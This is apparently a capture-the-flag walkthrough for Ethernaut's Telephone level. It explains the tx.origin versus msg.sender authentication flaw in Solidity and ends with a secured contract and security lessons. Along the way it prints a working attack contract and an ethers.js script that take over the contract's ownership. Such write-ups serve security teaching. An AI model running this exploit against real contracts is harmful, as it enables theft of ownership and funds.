Telephone Challenge - Ethernaut Level 4
Challenge Description
Challenge Goal
Claim ownership of the contract by exploiting the difference between tx.origin and msg.sender. This challenge demonstrates why using tx.origin for authentication is dangerous and why msg.sender should be preferred in most cases.
The Contract
Here's the smart contract we'll be exploiting:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}The Vulnerability
This contract contains a vulnerable function changeOwner that changes the contract's owner if the condition tx.origin != msg.sender is met. To understand this vulnerability, we need to understand the difference between these two variables:
- tx.origin: The original external account (EOA) that started the transaction. This is always a user's address (external account), never a contract.
- msg.sender: The immediate sender of the current function call. This could be either an EOA or a contract address.
When a user directly interacts with the Telephone contract, tx.origin and msg.sender are the same (the user's address). However, if the user interacts with a malicious contract that then calls the Telephone contract:
tx.originis still the user's addressmsg.senderbecomes the address of the malicious contract
This creates a scenario where tx.origin != msg.sender, satisfying the condition to change the owner.
The Exploit
To exploit this contract, we need to:
Steps to Exploit:
- Create an attack contract that calls the
changeOwnerfunction of theTelephonecontract - The attack contract will pass our address as the
_ownerparameter - When we call this attack contract, it will relay the call to the
Telephonecontract, creating a scenario wheretx.origin != msg.sender
Attack Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ITelephone {
function changeOwner(address _owner) external;
}
contract TelephoneAttack {
ITelephone private telephoneContract;
constructor(address _telephoneAddress) {
telephoneContract = ITelephone(_telephoneAddress);
}
// Call this function to execute the attack
function attack() public {
// When this function is called, tx.origin will be the caller's address (you)
// msg.sender when calling the Telephone contract will be this contract's address
// This creates the condition where tx.origin != msg.sender
telephoneContract.changeOwner(msg.sender);
}
}Exploit Script
// Using ethers.js to deploy and call our attack contract
// Get instance of the Telephone contract
const telephoneAddress = "INSTANCE_ADDRESS";
const telephone = await ethers.getContractAt("Telephone", telephoneAddress);
// Get our address
const [attacker] = await ethers.getSigners();
console.log("Original owner:", await telephone.owner());
console.log("Our address:", attacker.address);
// Deploy our attack contract
const TelephoneAttack = await ethers.getContractFactory("TelephoneAttack");
const attackContract = await TelephoneAttack.deploy(telephoneAddress);
await attackContract.deployed();
console.log("Attack contract deployed at:", attackContract.address);
// Execute the attack
const tx = await attackContract.attack();
await tx.wait();
console.log("Attack complete");
// Verify we are now the owner
console.log("New owner:", await telephone.owner());
console.log("Our address:", attacker.address);
// Check if we succeeded
const success = (await telephone.owner()) === attacker.address;
console.log("Success:", success);Security Lessons
- Never Use tx.origin for Authentication: Using
tx.originfor authentication is dangerous as it makes your contract vulnerable to phishing attacks. - Use msg.sender for Authentication: Always use
msg.senderfor authentication as it represents the immediate caller of the function. - Understanding Transaction Context: It's important to understand how call context works in Ethereum and how variables like
tx.originandmsg.senderbehave differently.
Prevention
Here's how you could improve this contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SecureTelephone {
address public owner;
constructor() {
owner = msg.sender;
}
// Simple authentication using msg.sender
modifier onlyOwner() {
require(msg.sender == owner, "Caller is not the owner");
_;
}
// Secure ownership transfer
function changeOwner(address _newOwner) public onlyOwner {
require(_newOwner != address(0), "New owner cannot be zero address");
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}The improved contract:
- Uses
msg.senderfor authentication instead oftx.origin - Implements a proper access control modifier
onlyOwner - Adds additional safety checks (prevent zero address)
- Emits events for transparency and monitoring
Real-World Implications
The tx.origin vulnerability can be particularly dangerous in real-world scenarios. Imagine a malicious website that tricks users who own some tokens to call a function on a malicious contract. This contract could then call the token's transfer function, which (if it used tx.origin for authentication) would authorize the transfer because tx.origin would be the user's address. This type of attack is known as a "phishing attack with tx.origin".
By using msg.sender instead of tx.origin, contracts can prevent these kinds of attacks because a malicious contract would only be able to transfer tokens it already owned, not tokens owned by the user who interacted with it.
Conclusion
The Telephone challenge illustrates the critical difference between tx.origin and msg.sender in Ethereum transactions. Understanding this distinction is fundamental for writing secure smart contracts.
Remember: always use msg.sender for authentication, never tx.origin. Using tx.origin for authentication creates vulnerabilities that can be exploited through intermediary contracts.